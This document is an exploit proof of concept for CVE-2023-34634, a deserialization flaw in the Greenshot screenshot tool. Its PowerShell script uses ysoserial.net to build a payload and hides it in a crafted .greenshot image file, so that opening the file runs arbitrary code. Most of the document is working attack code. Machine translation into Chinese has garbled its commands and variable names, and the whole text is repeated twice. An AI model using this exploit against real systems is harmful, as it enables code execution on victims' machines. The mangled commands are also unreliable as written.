#利用title: greenshot 1.2.10-不安全的要求任意代码执行
#日期: 26/07/2023
#利用作者: p4r4bellum
#供应商HomePage: https://getgreenshot.org
#软件link: https://getgreenshot.org/downloads/
#版本: 1.2.6.10
#测试在: Windows 10.0.19045 N/A构建19045
#CVE : CVE-2023-34634
#
#greenshot 1.2.10及以下很容易受到其自定义*.greenshot格式的不安全对象的攻击
#当一个*.greenshot文件与软件打开时,NET对象的流是序列化的,并进行了序列化。
#在默认上安装.greenshot文件扩展名与程序关联,因此请双击.greenshot文件
#将导致任意代码执行
#
#生成有效载荷。您需要在计算机上安装yserial.net。在https://github.com/pwntester/ysoserial.net上获取它
./ysoserial.exe -f binaryformatter -G WindowsIdentity -c'carc' -outputpath payload.bin -o raw
#加载有效载荷
$ paryload=get -content。\ paryload.bin-编码字节
#检索有效载荷的长度
$ length=$ paryload.length
#加载所需的组件来制作PNG文件
add -type -semblyName system.drawing
#以下行创建一个带有一些文本的PNG文件。从https://stackoverflow.com/questions...-given-given-given-given-with-powershell借用的代码
$ filename='$ home \ poc.greenshot'
$ bmp=new-object system.drawing.bitmap 250,61
$ font=new-object system.drawing.font consolas,24
$ brushbg=[system.drawing.brushes] :green
$ brushfg=[System.Drawing.brushes] :Black
$ graphics=[System.Drawing.graphics] : fromimage($ bmp)
$ graphics.fillectangle($ brushbg,0,0,$ bmp.width,$ bmp.height)
$ graphics.drawString('poc greenshot',$ font,$ brushfg,10,10)
$ graphics.dispose()
$ bmp.save($ filename)
#将有效载荷附加到PNG文件
$有效载荷| add -content -path $ filename-编码字节-NoneWline
#附加有效载荷的长度
[System.BitConverter] :getBytes([long] $ length)| add -content -path $ filename-编码字节-NoneWline
#附加签名
'greenshot01.02'|附加符号- path $ filename -nonewline -编码ascii
#启动Greenshot。 calc.exe应执行
Invoke-item $ fileName
#日期: 26/07/2023
#利用作者: p4r4bellum
#供应商HomePage: https://getgreenshot.org
#软件link: https://getgreenshot.org/downloads/
#版本: 1.2.6.10
#测试在: Windows 10.0.19045 N/A构建19045
#CVE : CVE-2023-34634
#
#greenshot 1.2.10及以下很容易受到其自定义*.greenshot格式的不安全对象的攻击
#当一个*.greenshot文件与软件打开时,NET对象的流是序列化的,并进行了序列化。
#在默认上安装.greenshot文件扩展名与程序关联,因此请双击.greenshot文件
#将导致任意代码执行
#
#生成有效载荷。您需要在计算机上安装yserial.net。在https://github.com/pwntester/ysoserial.net上获取它
./ysoserial.exe -f binaryformatter -G WindowsIdentity -c'carc' -outputpath payload.bin -o raw
#加载有效载荷
$ paryload=get -content。\ paryload.bin-编码字节
#检索有效载荷的长度
$ length=$ paryload.length
#加载所需的组件来制作PNG文件
add -type -semblyName system.drawing
#以下行创建一个带有一些文本的PNG文件。从https://stackoverflow.com/questions...-given-given-given-given-with-powershell借用的代码
$ filename='$ home \ poc.greenshot'
$ bmp=new-object system.drawing.bitmap 250,61
$ font=new-object system.drawing.font consolas,24
$ brushbg=[system.drawing.brushes] :green
$ brushfg=[System.Drawing.brushes] :Black
$ graphics=[System.Drawing.graphics] : fromimage($ bmp)
$ graphics.fillectangle($ brushbg,0,0,$ bmp.width,$ bmp.height)
$ graphics.drawString('poc greenshot',$ font,$ brushfg,10,10)
$ graphics.dispose()
$ bmp.save($ filename)
#将有效载荷附加到PNG文件
$有效载荷| add -content -path $ filename-编码字节-NoneWline
#附加有效载荷的长度
[System.BitConverter] :getBytes([long] $ length)| add -content -path $ filename-编码字节-NoneWline
#附加签名
'greenshot01.02'|附加符号- path $ filename -nonewline -编码ascii
#启动Greenshot。 calc.exe应执行
Invoke-item $ fileName